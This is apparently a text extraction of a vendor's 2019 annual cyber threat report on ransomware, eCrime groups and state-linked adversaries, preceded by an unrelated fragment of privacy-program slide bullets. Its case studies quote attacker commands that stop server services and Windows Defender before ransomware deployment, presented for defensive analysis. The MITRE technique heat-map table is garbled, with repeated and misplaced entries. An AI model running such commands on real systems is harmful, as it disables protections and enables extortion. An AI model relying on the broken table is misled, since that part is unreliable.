- Agreements with downstream processors
- Identifying data subject rights
- Logging processing activities
- Determining the legality of processing activities
- How and when to dispose of information
Assessments

Measuring implementation of SSP

• Selecting controls and practices
• Defining who and what to interview, test and examine
• Documenting findings
• Plan of Action to correct deficits
Communication of Assessments

Put findings into context and risk
Include a summary
Ensure any assessment is accepted by key stakeholders
Compare to prior assessments
New functions to consider

- Risk officer
- Privacy officer
- Information security officer

Consider outsourcing these rolls to outside experts who can help develop the program.
Risk Transfer

- Contractual with processors and vendors
- Insurance
While criminals are relatively predictable in their tendency to always choose the path of least resistance, the activities of nation-states are frequently more relentless and sophisticated — and as a result, more challenging for cyberdefenders.

Those of us who have worked in cybersecurity for many years often start to think we've “seen it all.” We haven’t. This year’s CrowdStrike® Global Threat Report provides clear evidence of that.

Consider the dark turn in cybercrime toward preying on schools, municipal departments and our other chronically understaffed and overburdened public institutions. This is different from targeting large government entities and corporations, many of whom have resigned themselves to being targeted by cyber predators and have the opportunity to try to protect themselves from that onslaught. It's a different matter entirely when the targets are schoolchildren, or just ordinary people trying to go about their daily lives.

This merciless ransomware epidemic will continue, and worsen, as long as the practice remains lucrative, and relatively easy and risk-free. We’ve developed a platform designed to stop ransomware for our customers, and we’ve worked hard to make it easy and affordable — even for budget-constrained institutions like our public school systems. As more organizations around the world deploy next-generation platforms like CrowdStrike Falcon® that can prevent these threats, the criminal element will be forced to redirect its efforts elsewhere.

While criminals are relatively predictable in their tendency to always choose the path of least resistance, the activities of nation-states are frequently more relentless and sophisticated — and as a result, more challenging for cyberdefenders. This year’s threat report uncovers numerous new tactics, techniques and procedures (TTPs) that state-affiliated threat actors are employing to accomplish their goals. Of concern here is the widening variety of goals these highly capable adversaries may seek to achieve. Along with the more traditional objectives of espionage and surveillance have been added new tasks, such as sowing widespread disruption and discord among individuals, institutions and even whole countries and populations, all in pursuit of political and economic gains.

If there’s one thing this year’s Global Threat Report really brings home, it’s that there’s never been a better time to get involved in cybersecurity. The stakes are high, and rising every day. Those that read and share this report are helping to educate themselves and others to better protect themselves and their communities, both at work and at home.

George Kurtz
CrowdStrike CEO and Co-Founder
# TABLE OF CONTENTS

2  **FOREWORD**

4  **INTRODUCTION**

6  **METHODOLOGY**

7  **NAMING CONVENTIONS**

8  **THREAT LANDSCAPE OVERVIEW: TAKING A STEP BACK FOR PERSPECTIVE**

9  **MALWARE-FREE ATTACKS BY REGION**

10  **BREAKOUT TIME**

11  **GLOBAL ATT&CK TECHNIQUE TRENDS**

12  **MITRE ATT&CK TECHNIQUES OBSERVED BY OVERWATCH**

15  **THE RICH KEEP GETTING RICHER: THE PERVASIVE RANSOMWARE THREAT**

17  **BIG GAME HUNTING**

19  **RAAS OPERATIONS MOVE TOWARD BIG GAME HUNTING**

24  **LOOKING FORWARD**

25  **ECRIME TRENDS AND ACTIVITY**

27  **2019 TRENDS IN TACTICS, TECHNIQUES AND PROCEDURES**

29  **ECRIME ENABLERS**

34  **TARGETED ECRIME ACTIVITY**

37  **LOOKING FORWARD**

38  **TARGETED INTRUSION**

40  **IRAN**

45  **DPRK**

51  **CHINA**

50  **RUSSIA**

61  **OTHER ADVERSARIES**

65  **CONCLUSION**

65  **RANSOMWARE**

65  **CREDENTIALS**

66  **SOCIAL ENGINEERING**

67  **GEOPOLITICAL TENSIONS**

68  **ABOUT CROWDSTRIKE**
INTRODUCTION

A year in cybersecurity is often marked by how disruptive the activity observed was — not just from a destructive standpoint, but also from the perspective of whether day-to-day life was affected. By any such measure, 2019 was an active year. From U.S. school districts to asset management firms, from manufacturing to media, ransomware attacks affected multitudes of people. Disruption in 2019 was not punctuated by a single destructive wiper; rather, it was plagued by sustained operations targeting the underpinnings of our society. The particularly disruptive impact that ransomware had across all sectors is addressed at the beginning of this report, followed by an assessment of additional eCrime threats.

Going into 2019, CrowdStrike Intelligence anticipated that big game hunting (BGH) — targeted, criminally motivated, enterprise-wide ransomware attacks — was expected to continue at least at the 2018 pace. However, what was observed was not just a continuation but an escalation. Ransom demands grew larger. Tactics became more cutthroat. Established criminal organizations like WIZARD SPIDER expanded operations, and affiliates of the ransomware-as-a-service (RaaS) malware developers adopted BGH attacks. In short, the greedy got greedier and the rich got richer.

Other criminal actors took note. Numerous adversaries specializing in the delivery or development of malware benefited from supporting customers or partners conducting BGH operations. Malware-as-a-service (MaaS) developers like VENOM SPIDER introduced ransomware modules. Banking trojans continued to be repurposed for download-as-a-service (DaaS) operations — a trend started by MUMMY SPIDER — used to distribute malware families associated with BGH. Even targeted eCrime appears to be in a state of change, apparent by the recent activity attributed to GRACEFUL SPIDER, an adversary notable for its high-volume spam campaigns and limited use of ransomware.

As in years past, the majority of state-sponsored targeted intrusions appeared to be motivated by traditional intelligence collection needs. Analysis in 2019 revealed a focus by Chinese adversaries on the telecommunications sector, which could support both signals intelligence and further upstream targeting. Content related to
defense, military and government organizations remains a popular lure for targeted intrusion campaigns. Examples of such incidents were seen in the activity of Russian adversaries targeting Ukraine, and the use of defense-themed job and recruitment content by Iran-based IMPERIAL KITTEN and Refined KITTEN.

While traditional espionage is the primary objective of many state-sponsored actors, adversaries associated with the Democratic People’s Republic of Korea (DPRK, aka North Korea) sustained their interest in cryptocurrencies and the targeting of financial services, with identified incidents linked to all five named DPRK-associated adversaries tracked by CrowdStrike. Exact motives remain unconfirmed, but it is possible this interest in financial sector organizations represents additional currency generation operations and/or industrial espionage. Industrial espionage is also a suspected motive for Vietnam’s targeting of the automotive sector and China’s targeting of healthcare and other sectors, bringing the threat of intellectual property theft back into the spotlight.

In the following sections, the CrowdStrike Intelligence team, the Falcon OverWatch™ managed threat hunting team and the CrowdStrike Services team present selected analysis that highlights the most significant events and trends in the past year of cyber threat activity. This analysis demonstrates how threat intelligence and proactive hunting can provide a deeper understanding of the motives, objectives and activities of these actors — information that can empower swift proactive countermeasures to better defend your valuable data now and in the future.

Numerous adversaries specializing in the delivery or development of malware benefited from supporting customers or partners conducting BGH operations.
METHODOLOGY

The information in this report was compiled using the following resources:

CROWDSTRIKE INTELLIGENCE

The CrowdStrike Intelligence team provides in-depth and historical understanding of adversaries, their campaigns and their motivations. The global team of intelligence professionals tracks 131 adversaries of all types, including nation-state, eCrime and hacktivist actors. The team analyzes TTPs to deliver in-depth, government-grade intelligence to enable effective countermeasures against emerging threats.

FALCON OVERWATCH

CrowdStrike Falcon OverWatch™ provides proactive threat hunting conducted by a team of experienced threat hunters to deliver 24/7 coverage on behalf of CrowdStrike customers. In 2019, OverWatch identified and helped stop more than 35,000 breach attempts, employing expertise gained from daily “hand-to-hand combat” with sophisticated adversaries. The OverWatch team works to identify hidden threat activity in customers’ environments, triaging, investigating and remediating incidents in real time.

CROWDSTRIKE THREAT GRAPH

As the brains behind the Falcon platform, CrowdStrike Threat Graph® is a massively scalable, cloud-based graph database model custom-built by CrowdStrike. It processes, correlates and analyzes petabytes of real-time and historical data collected from over 3 trillion events per week across 176 countries. The Threat Graph architecture combines patented behavioral pattern matching techniques with machine learning and artificial intelligence to track the behaviors of every executable across CrowdStrike’s global customer community. This combination of methodologies enables the identification and blocking of previously undetectable attacks, whether or not they use malware.

CROWDSTRIKE SERVICES

This report references the CrowdStrike Services organization and its most recent publication, the "CrowdStrike Services Cyber Front Lines Report," which analyzes trends the Services team observed during its many incident response (IR) investigations in 2019. This report provides a front-line view and greater insight into the cyber battle these seasoned security experts are waging against today’s most sophisticated adversaries, and offers recommendations for increasing your organization’s cybersecurity readiness. In addition to hands-on IR services conducted by its team of professional investigators, CrowdStrike Services provides proactive services such as cybersecurity maturity assessments, IR policy and playbook development, tabletop exercises, red teaming operations and compromise assessments. Response and remediation services are conducted by highly experienced IR experts who investigate breaches to determine how attackers accessed a client’s environment; mitigate attacks and eject intruders; and analyze attacker actions and provide clients with actionable guidance to prevent future adversary access.
This report follows the naming conventions instituted by CrowdStrike to categorize adversaries according to their nation-state affiliations or motivations (e.g., eCrime or hacktivist). The following is a guide to these adversary naming conventions.

<table>
<thead>
<tr>
<th>Adversary</th>
<th>Nation-State or Category</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>BEAR</strong></td>
<td>RUSSIA</td>
</tr>
<tr>
<td><strong>BUFFALO</strong></td>
<td>VIETNAM</td>
</tr>
<tr>
<td><strong>CHOLLIMA</strong></td>
<td>DPRK (NORTH KOREA)</td>
</tr>
<tr>
<td><strong>CRANE</strong></td>
<td>ROK (REPUBLIC OF KOREA)</td>
</tr>
<tr>
<td><strong>JACKAL</strong></td>
<td>HACKTIVIST</td>
</tr>
<tr>
<td><strong>KITTEN</strong></td>
<td>IRAN</td>
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<tr>
<td><strong>LEOPARD</strong></td>
<td>PAKISTAN</td>
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<tr>
<td><strong>LYNX</strong></td>
<td>GEORGIA</td>
</tr>
<tr>
<td><strong>PANDA</strong></td>
<td>PEOPLE’S REPUBLIC OF CHINA</td>
</tr>
<tr>
<td><strong>SPIDER</strong></td>
<td>eCRIME</td>
</tr>
<tr>
<td><strong>TIGER</strong></td>
<td>INDIA</td>
</tr>
</tbody>
</table>
THREAT LANDSCAPE OVERVIEW: TAKING A STEP BACK FOR PERSPECTIVE

Before examining tactics and techniques observed from individual adversaries, it’s instructive to take a broad view of the threat landscape and how it continues to shift over time. One useful lens is comparing the types of attacks that leverage malware and those that do not. For the purposes of this report, these terms will be defined as follows:

- **Malware attacks**: These are simple use cases where a malicious file is written to disk, and CrowdStrike Falcon detects the attempt to run that file and then identifies and/or blocks it. These intrusion attempts are comparatively simple to intercept and block and can often be stopped effectively with traditional anti-malware solutions.

- **Malware-free attacks**: CrowdStrike defines malware-free attacks as those in which the initial tactic did not result in a file or file fragment being written to disk. Examples include attacks where code executes from memory or where stolen credentials are leveraged for remote logins using known tools. Malware-free attacks generally require a wide range of more sophisticated detection techniques to identify and intercept reliably, including behavioral detection and human threat hunting.

Figure 1 compares malware and malware-free attacks from the 2019 CrowdStrike Threat Graph telemetry.

These new data points highlight a continuing trend in attack techniques, which are reflected throughout this report. For the last two years, Threat Graph telemetry has shown that approximately 60% of attacks were malware-related. The 2019 Threat Graph telemetry shows that the trend toward malware-free attacks is accelerating with these types of attacks surpassing the volume of malware attacks.
MALWARE-FREE ATTACKS BY REGION

Using sample groupings from the CrowdStrike Threat Graph, this year’s report includes the types of activity captured via CrowdStrike global telemetry. The data aligns with the types of intrusions that are covered elsewhere in this report.

Regional data showed increasing discrepancies in the types of attacks observed in different parts of the world. In 2018, all regions showed between 25% and 45% malware-free attacks, whereas 2019 showed a major jump in malware-free attacks targeting North America and a similarly large decrease in malware-free attacks targeting the Latin America region.

Figure 2.
Malware vs. Malware-Free Intrusions by Region in 2019
In the 2018 Global Threat Report, CrowdStrike began reporting on "breakout time." This key cybersecurity metric measures the speed from an adversary’s initial intrusion into an environment, to when they achieve lateral movement across the victim's network toward their ultimate objective. Breakout time is important for defenders, as it sets up the parameters of the continuous race between attackers and defenders. By responding within the breakout time window, which is measured in hours, defenders are able to minimize the cost incurred and damage done by attackers. CrowdStrike continues to encourage security teams to strive to meet the metrics of the 1-10-60 rule: detecting threats within the first minute, understanding threats within 10 minutes, and responding within 60 minutes.

This year, the average breakout time for all observed intrusions rose from an average of 4 hours 37 minutes in 2018 to 9 hours in 2019. This increase reflects the dramatic rise in observed eCrime attacks, which tend to have significantly longer breakout times compared with nation-state adversaries. It’s important to note that defenders should still focus on speed, as data attributable to nation-state activities in 2019 does not suggest any major changes in breakout times among state-affiliated adversaries this year compared to last year.
Moving past the initial intrusion vector, attackers employed a wide range of tactics and techniques in order to achieve their goal, whether that goal was financial gain, political advantage or disruption of services. The MITRE ATT&CK™ framework provides a very useful taxonomy of attackers’ TTPs that we can use to catalog observed behaviors in order to better understand methods in common use and how those methods have changed over time.

The MITRE ATT&CK framework is an ambitious initiative that is working to bring clarity to how the industry talks about cyberattacks. It breaks intrusions into a series of 12 tactics that adversaries may employ, each with a number of different techniques that have been observed to be in use.

The following section delves into the types of techniques CrowdStrike observed in its 2019 telemetry and maps them to the ATT&CK framework.

Figure 3.
TTPs Used by Attackers in 2019
A notable change in the most prevalent overall techniques used by attackers in 2019 was the significant increase in the use of “masquerading.” This uptick can be explained by a rise in the use of the EternalBlue exploit in the wild. This is not necessarily indicative of a particular trend but instead highlights that this is still an active exploit in use by threat actors. For an example of masquerading in action, see the section titled “OverWatch Feature: Targeted RaaS Intrusion Involving REvil” below.

The remaining techniques mirror those observed in previous years, with heavy reliance on hands-on-keyboard techniques (command-line interface, PowerShell) as well as theft of credentials (credential dumping, valid accounts, account discovery) and defense evasion (masquerading, hidden files and directories, process injection). These techniques feature prominently in many sophisticated attacks, where a human adversary is engaged in the intrusion and is actively working toward an objective.

TECHNIQUE SPOTLIGHT

Masquerading occurs when the name or location of an executable, whether legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.

MITRE ATT&CK TECHNIQUES OBSERVED BY OVERWATCH

When the Falcon OverWatch team analyzes a targeted eCrime or state-sponsored intrusion campaign, it uses the MITRE ATT&CK matrix as a framework to categorize adversary behavior. The following chart is a heat map of the adversary tactics and techniques OverWatch identified while analyzing targeted eCrime and state-sponsored intrusions in 2019. OverWatch hunters reviewed telemetry from all targeted intrusions uncovered by their threat hunting operations to ensure accurate identification of the adversary techniques employed.
Figure 4.
MITRE ATT&CK Heat Map of Tactics and Techniques OverWatch Observed in Targeted Attacks in 2019
<table>
<thead>
<tr>
<th>Discovery</th>
<th>Lateral Movement</th>
<th>Collection</th>
<th>Command and Control</th>
<th>Exfiltration</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Discovery</td>
<td>AppleScript</td>
<td>Audio Capture</td>
<td>Commonly Used Port</td>
<td>Automated Exfiltration</td>
<td>Account Access Removal</td>
</tr>
<tr>
<td>Application Window Discovery</td>
<td>Application Deployment Software</td>
<td>Automated Collection</td>
<td>Communication Through Removable Media</td>
<td>Data Compressed</td>
<td>Data Destruction</td>
</tr>
<tr>
<td>Browser Bookmark Discovery</td>
<td>Component Object Model and Distributed IDM</td>
<td>Clipboard Data</td>
<td>Connection Proxy</td>
<td>Data Encrypted</td>
<td>Data Encryption</td>
</tr>
<tr>
<td>Domain Trait Discovery</td>
<td>Exploitation of Remote Services</td>
<td>Data From Information Repositories</td>
<td>Custom Command and Control Protocol</td>
<td>Data Transfer Size Limits</td>
<td>Data Exfiltration</td>
</tr>
<tr>
<td>File and Directory Discovery</td>
<td>Internal Spear-phishing</td>
<td>Data From Local System</td>
<td>Custom Cryptographic Protocol</td>
<td>Data Exfiltration</td>
<td>Data Wipe</td>
</tr>
<tr>
<td>Network Service Scanning</td>
<td>Logon Scripts</td>
<td>Data From Network Shared Drive</td>
<td>Data Encoding</td>
<td>Data Exfiltration</td>
<td>Data Structure Wipe</td>
</tr>
<tr>
<td>Network Share Discovery</td>
<td>Pass the Hash</td>
<td>Data From Removable Media</td>
<td>Data Obfuscation</td>
<td>Data Exfiltration</td>
<td>Disk Content Wipe</td>
</tr>
<tr>
<td>Network Sniffing</td>
<td>Pass the Ticket</td>
<td>Data Staged</td>
<td>Data Obfuscation</td>
<td>Data Exfiltration</td>
<td>Disk Structure Wipe</td>
</tr>
<tr>
<td>Password Policy Discovery</td>
<td>Remote Desktop Protocol</td>
<td>Email Collection</td>
<td>Domain Generation Algorithm</td>
<td>Scheduled Transfer</td>
<td>Inhibit System Recovery</td>
</tr>
<tr>
<td>Peripheral Device Discovery</td>
<td>Remote File Copy</td>
<td>Input Capture</td>
<td>Feedback Channels</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Permission Groups Discovery</td>
<td>Remote Services</td>
<td>Man in the Browser</td>
<td>Multi-hop Proxy</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Process Discovery</td>
<td>Replication Through Removable Media</td>
<td>Screen-Capture</td>
<td>Multi-stage Channels</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Query Registry</td>
<td>Shared Webroot</td>
<td>Video Capture</td>
<td>Multiband Communication</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Remote System Discovery</td>
<td>SSH Hacking</td>
<td>Port Knocking</td>
<td>Port Knocking</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Security Software Discovery</td>
<td>Tenant Shared Content</td>
<td>Multilayer Encryption</td>
<td>Port Knocking</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Software Discovery</td>
<td>Third-party Software</td>
<td>Port Knocking</td>
<td>Port Knocking</td>
<td></td>
<td></td>
</tr>
<tr>
<td>System Information Discovery</td>
<td>Windows Admin Shares</td>
<td>Remote Access Tools</td>
<td>Port Knocking</td>
<td></td>
<td></td>
</tr>
<tr>
<td>System Network Configuration Discovery</td>
<td>Windows Remote Management</td>
<td>Remote File Copy</td>
<td>Port Knocking</td>
<td></td>
<td></td>
</tr>
<tr>
<td>System Network Connections Discovery</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>System Owner/User Discovery</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>System Service Discovery</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>System Time Discovery</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Virtualization/Sandbox Evasion</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Frequency of Observance**

- 0-5% of intrusions
- 5-20%
- 20-50%
- 50-75%
- >70%

**Figure 4.**

MITRE ATT&CK Heat Map of Tactics and Techniques OverWatch Observed in Targeted Attacks in 2019
In 2019, BGH, another term for enterprise-scale ransomware operations, was the most lucrative enterprise for eCrime adversaries. Ransom demands soared into the millions (see Table 1), causing unparalleled disruption.

CrowdStrike Intelligence observed the increasing sophistication of BGH criminal organizations attributed to WIZARD SPIDER and INDRIK SPIDER. The latter group splintered to form a new BGH adversary, DOPPEL SPIDER. All of these adversaries are well established in the criminal ecosystem. WIZARD SPIDER and INDRIK SPIDER operated profitable banking trojans before turning to ransomware to rapidly monetize their compromise of business and government networks.

Ransomware-as-a-service (RaaS) developer PINCHY SPIDER, which takes a cut of the profits from its affiliates, began encouraging partners to adopt BGH practices in February 2019. Following a pseudo-retirement — in which PINCHY SPIDER and its partners switched from GandCrab to REvil — their use of BGH TTPs became increasingly apparent. The RaaS model of monetization and BGH tactics were also adopted by the developers of the Dharma and Nemty ransomware families. Suspected BGH and/or RaaS operations include the RobbinHood, LockerGoga, MegaCortex and Maze ransomware families. While LockerGoga was only briefly active in 2019, recent infections were reported for the other three in November and December 2019.

<table>
<thead>
<tr>
<th>USD</th>
<th>BTC</th>
<th>Malware</th>
</tr>
</thead>
<tbody>
<tr>
<td>$12.5M</td>
<td>1,600</td>
<td>Ryuk</td>
</tr>
<tr>
<td>$10.9M</td>
<td>565</td>
<td>DoppelPaymer</td>
</tr>
<tr>
<td>$10.0M</td>
<td>1,326</td>
<td>REvil</td>
</tr>
<tr>
<td>$9.9M</td>
<td>1,250</td>
<td>Ryuk</td>
</tr>
<tr>
<td>$6.1M</td>
<td>850</td>
<td>Maze</td>
</tr>
<tr>
<td>$6.0M</td>
<td>763</td>
<td>REvil</td>
</tr>
<tr>
<td>$5.3M</td>
<td>680</td>
<td>Ryuk</td>
</tr>
<tr>
<td>$2.9M</td>
<td>375</td>
<td>DoppelPaymer</td>
</tr>
<tr>
<td>$2.5M</td>
<td>250</td>
<td>REvil</td>
</tr>
<tr>
<td>$2.5M</td>
<td>250</td>
<td>DoppelPaymer</td>
</tr>
<tr>
<td>$2.3M</td>
<td>300</td>
<td>Maze</td>
</tr>
<tr>
<td>$1.9M</td>
<td>250</td>
<td>DoppelPaymer</td>
</tr>
<tr>
<td>$1.6M</td>
<td>216</td>
<td>BitPaymer</td>
</tr>
<tr>
<td>$1.0M</td>
<td>128</td>
<td>Maze</td>
</tr>
</tbody>
</table>

Table 1.
Largest Ransom Demands Reported in 2019

1. Ransomware developers sell access to distributors (customers) through a partnership program. The program is operated under a financial model that splits profit per infection between the developers and distributors (e.g., 60/40 split).
Although ransomware was widespread in 2019 and affected all sectors, CrowdStrike Intelligence identified several trends in the targeting of specific sectors, and in the impacts observed from these targeted operations.

<table>
<thead>
<tr>
<th>Sector</th>
<th>Known Ransomware</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Local Governments and Municipalities</td>
<td>RobbinHood, Ryuk, REvil, DoppelPaymer</td>
<td>The targeting of municipalities and local governments was popular among BGH criminal operators beginning in Spring 2019 and continuing through the rest of the year. Targets included several U.S. states and cities, and multiple incidents were seen in Spain.</td>
</tr>
<tr>
<td>Academic</td>
<td>Ryuk</td>
<td>An extension of local government targeting was first observed in Summer 2019: an outbreak of ransomware infections targeting public school systems in the U.S. This trend intensified in September 2019 during the back-to-school period and continued intermittently through the end of the year.</td>
</tr>
<tr>
<td>Technology</td>
<td>BitPaymer, REvil, Ryuk</td>
<td>An alarming trend in targeted ransomware operations is the compromise of managed service providers (MSPs). Subsequent use of remote management software can enable the spread of ransomware to many companies from a single point of entry. WIZARD SPIDER also targeted this sector and impacted cloud service providers.</td>
</tr>
<tr>
<td>Healthcare</td>
<td>Ryuk, REvil</td>
<td>A string of targeted healthcare attacks in the U.S., Canada and Australia from late September to early October was linked to WIZARD SPIDER. A PINCHY SPIDER affiliate also claimed a victim in this sector by first breaching an MSP, demonstrating how third parties can be vulnerable to these attacks.</td>
</tr>
<tr>
<td>Manufacturing</td>
<td>BitPaymer, Ryuk, LockerGoga, DoppelPaymer</td>
<td>Although the targeting of the manufacturing sector appeared to be intermittent, the known intrusions include energy and chemical companies among others.</td>
</tr>
<tr>
<td>Financial Services</td>
<td>BitPaymer, REvil</td>
<td>INDRIK SPIDER claimed victims in the financial services sector in mid-2019. PINCHY SPIDER affiliates successfully impacted a Chinese asset management firm, demanding a significant ransom, and used financial themes for distribution.</td>
</tr>
<tr>
<td>Media</td>
<td>BitPaymer, Ryuk</td>
<td>INDRIK SPIDER and WIZARD SPIDER claimed victims in this sector.</td>
</tr>
</tbody>
</table>

Table 2.
Trends in BGH Incidents Targeting Sectors in 2019
THE MONOLITH: WIZARD SPIDER

In 2019, two lines of analysis came together when CrowdStrike Intelligence attributed the operation of Ryuk ransomware to WIZARD SPIDER. Previously, these campaigns were tracked separately under the cryptonym GRIM SPIDER; however, beginning in March 2019, evidence coalesced behind the conclusion that Ryuk campaigns were operated by the core group of WIZARD SPIDER, the well-established criminal adversary behind the TrickBot banking trojan.

WIZARD SPIDER continues to develop TrickBot, offering customized modules for close affiliates including LUNAR SPIDER, operator of BokBot. CrowdStrike identified numerous spam campaigns delivering TrickBot using government or business themes, further evidence that this adversary aims to compromise large corporations and organizations. As additional support to TrickBot infections, WIZARD SPIDER uses Android malware known as AndroStealer to steal SMS messages sent and received by the device to enable the theft of two-factor authentication (2FA) tokens and subsequent financial fraud.

Finally, TrickBot modules are used to identify victims of interest for the deployment of WIZARD SPIDER’s post-exploitation tool, Anchor DNS. Often identified on point-of-sale (PoS) endpoints, this piece of malware could enable WIZARD SPIDER to conduct financial fraud directly from the victimized systems, without the use of webinjects available in TrickBot or the deployment of ransomware.

WIZARD SPIDER defies any attempts to categorize its operations, having mastered multiple forms and variations of criminal enterprise. The sum total of all of its operations has led to WIZARD SPIDER becoming the most reported adversary of 2019 across all lines of reporting.

CrowdStrike identified numerous spam campaigns delivering TrickBot using government or business themes, further evidence that this adversary aims to compromise large corporations and organizations.
INDRIK SPIDER’s BitPaymer operations continued at pace throughout 2019, and CrowdStrike Intelligence also observed the intermittent distribution of Dridex, the group’s banking trojan. Then, on December 5, 2019, the U.S. Department of Justice (DOJ) unsealed an indictment of two Russian individuals — Maksim Viktorovich Yakubets and Igor Turashev — for their involvement with Bugat malware, which is the predecessor of Dridex. Since neither the U.S. nor the U.K. have an extradition treaty with Russia, it is unlikely these individuals will be immediately arrested. However, CrowdStrike Intelligence continues to monitor for activity from both Dridex and BitPaymer ransomware to identify any possible impact on INDRIK SPIDER, as well as the splinter group DOPPEL SPIDER.

In June 2019, CrowdStrike Intelligence observed a source code fork of BitPaymer and began tracking the new ransomware strain as DoppelPaymer. Further technical analysis revealed an increasing divergence between two versions of Dridex, with the new version dubbed DoppelDridex. Based on this evidence, CrowdStrike Intelligence assessed with high confidence that a new group split off from INDRIK SPIDER to form the adversary DOPPEL SPIDER. Following DOPPEL SPIDER’s inception, CrowdStrike Intelligence observed multiple BGH incidents attributed to the group, with the largest known ransomware demand being 250 BTC. Other demands were not nearly as high, suggesting that the group conducts network reconnaissance to determine the value of the victim organization.
RAAS OPERATIONS
MOVE TOWARD BIG GAME HUNTING

THE PIONEER: PINCHY SPIDER

First observed in 2018, PINCHY SPIDER pioneered the RaaS model of operations, in which the developer receives a share of the profits that affiliates collect from successful ransomware infections. Beginning in February 2019, this adversary advertised its intention to partner with individuals skilled in RDP/VNC networks and with spammers who have experience in corporate networking. Combined with observed hands-on activity by affiliates that resulted in the installation of GandCrab ransomware, this indicated a clear intention by PINCHY SPIDER to move toward BGH operations.

In May 2019, PINCHY SPIDER announced its retirement from GandCrab operations. This development coincided with the rise of REvil ransomware (aka Sodinokibi). Analysis of code overlaps and distribution methods for these two ransomware families led to the determination that PINCHY SPIDER had not retired but was operating and developing REvil. The decision to announce the retirement of GandCrab on forums was possibly due to the public scrutiny and popularity that the operation was attracting, which likely included interest by international law enforcement agencies.

Using REvil, PINCHY SPIDER and its affiliates began BGH operations in earnest. Ransom demands in REvil operations, compared to PINCHY SPIDER’s former GandCrab operations, have been significantly larger; one of the largest REvil demands identified was for $10 million USD. CrowdStrike Intelligence has continued to track REvil samples and associated affiliate numbers since mid-2019. As of December 2019, a total of 699 unique samples of REvil have been identified, as well as 39 unique affiliate IDs (see Figure 5).

Figure 5. REvil Sample Count by Affiliate ID and Month in 2019

Ransom demands in REvil operations, compared to PINCHY SPIDER’s former GandCrab operations, have been significantly larger; one of the largest REvil demands identified was for $10 million USD.
Targeted RAAS Intrusion Involving REvil

Overview

In October 2019, OverWatch identified an eCrime intrusion and observed malicious activity reflective of an early-stage hands-on ransomware attack. It involved the retrieval and deployment of multiple actor tools, including a malicious binary identified by CrowdStrike Intelligence as REvil.

Initial Observations

The initial intrusion vector was likely a password-spraying attack against Remote Desktop Protocol (RDP) and Server Message Block (SMB) services exposed to the internet, allowing the unidentified actor to obtain the necessary credentials to access the network and carry out its actions on objectives. OverWatch identified a high volume of failed RDP logon events across multiple user accounts in activity reflective of password spraying, a technique used as an alternative to brute forcing where an actor will perform logon attempts against multiple user accounts using a list of commonly used passwords. OverWatch often observes this technique prior to targeted ransomware attacks.

The actor appeared to target both RDP and SMB services on a public-facing host and was ultimately able to successfully guess an account password, enabling them to interactively log on to the system, drop tools and execute custom scripts. The password-spraying technique is often preferred over brute forcing as it mitigates the possibility of account lockouts that typically occur when an actor performs multiple failed logon attempts against a single account.

Notable Adversary Behavior

In preparation for the intended execution of the REvil ransomware binary, the adversary dropped custom `.bat` scripts, which upon execution launched multiple `net stop` and `taskkill` commands to stop a number of critical services on the host system associated with Microsoft Internet Information
Detecting and responding to the actor's actions included the suppression of critical services (IIS), Microsoft SQL Server and Microsoft Exchange.

```plaintext
net stop IISADMIN
net stop SQLBrowser
net stop MSExchangeSA
taskkill /f /im mysql*
```

Presumably, these services are stopped in order to unlock their data files to be encrypted. Notably, two additional batch files were also written to the host but were not executed. Further analysis of the files suggested that the execution of these scripts would likely have inhibited system recovery via the deletion of volume shadow copies, as well as the deletion of system or security logs as a means of removing indicators from the host.

Additionally, the actor was also observed using the `net` command to stop the Windows Defender service.

```plaintext
net stop WinDefend
```

The actor wrote the REvil binary to the \Documents directory on the host:

```plaintext
C:\Users\user\Documents\[REDACTED]\svhost.exe (sic)
```

However, the adversary was not able to execute the file before the intrusion was stopped. Interestingly, the binary appeared to be masquerading as the Windows Shared Service Host process in a further attempt to evade detection.

**Conclusions and Recommendations**

The actor’s use of “living off the land” (LOTL) techniques reinforces the importance of having humans continuously hunting across a network in order to enable rapid response to quickly developing threat activity. The deployment of the CrowdStrike Falcon agent, complemented with the OverWatch managed threat hunting service, allowed for the prompt identification of actor tradecraft and the subsequent containment and response.

To defend against password spraying, the use of strong account management — in conjunction with effective account lockout policies following a defined number of failed login attempts and the use of complex passwords — can assist in preventing passwords from being guessed. In addition, ensure that RDP services are appropriately locked down and avoid leaving them exposed to the internet.
**RDP-ENABLED DHARMA RANSOMWARE ACTIVITY**

**Overview**

CrowdStrike observed numerous attempts by criminal actors to gain access to victim hosts over RDP in order to install RaaS malware families — primarily Dharma, but in at least one case, REvil. The target scope for these incidents is worldwide, and they have varied in size from small businesses to Fortune 500 conglomerates. CrowdStrike has observed incidents targeting entities in the academic, government, healthcare, hospitality, technology, energy, financial services and manufacturing sectors. These attacks are consistent with a move by eCrime adversaries toward BGH operations and represent a specific trend observed throughout 2019 of RaaS affiliates attempting enterprise ransomware operations.

OverWatch observed an example of such a BGH intrusion in early April 2019 against a large network. The threat actor attempted to deploy ransomware known as Dharma; however, Falcon successfully blocked its execution. CrowdStrike Intelligence observed that Dharma has been in use since 2016 as a direct result of the evolution of the Crysis ransomware. The ransomware is highly configurable and operates on an affiliate-based system. Typically for these intrusions, as is the case for many other BGH attacks, the threat actors gain access to the systems by exploiting vulnerable machines, or they brute-force passwords for machines with weak or predictable RDP credentials.

**Initial Observations**

OverWatch identified initial interactive behavior when the adversary executed a collection of malicious scripts under the Local Administrator account. These scripts automated the configuration changes to the system that enabled persistent remote access, attempted to execute Dharma ransomware and removed operating system logs.
Notable Adversary Behavior

The initial script executed, named *Zzz.bat*, kicked off the execution of the following tasks:

- Assigned new password for local accounts
- Queried the operating system for users in Local Administrator and Remote Access groups
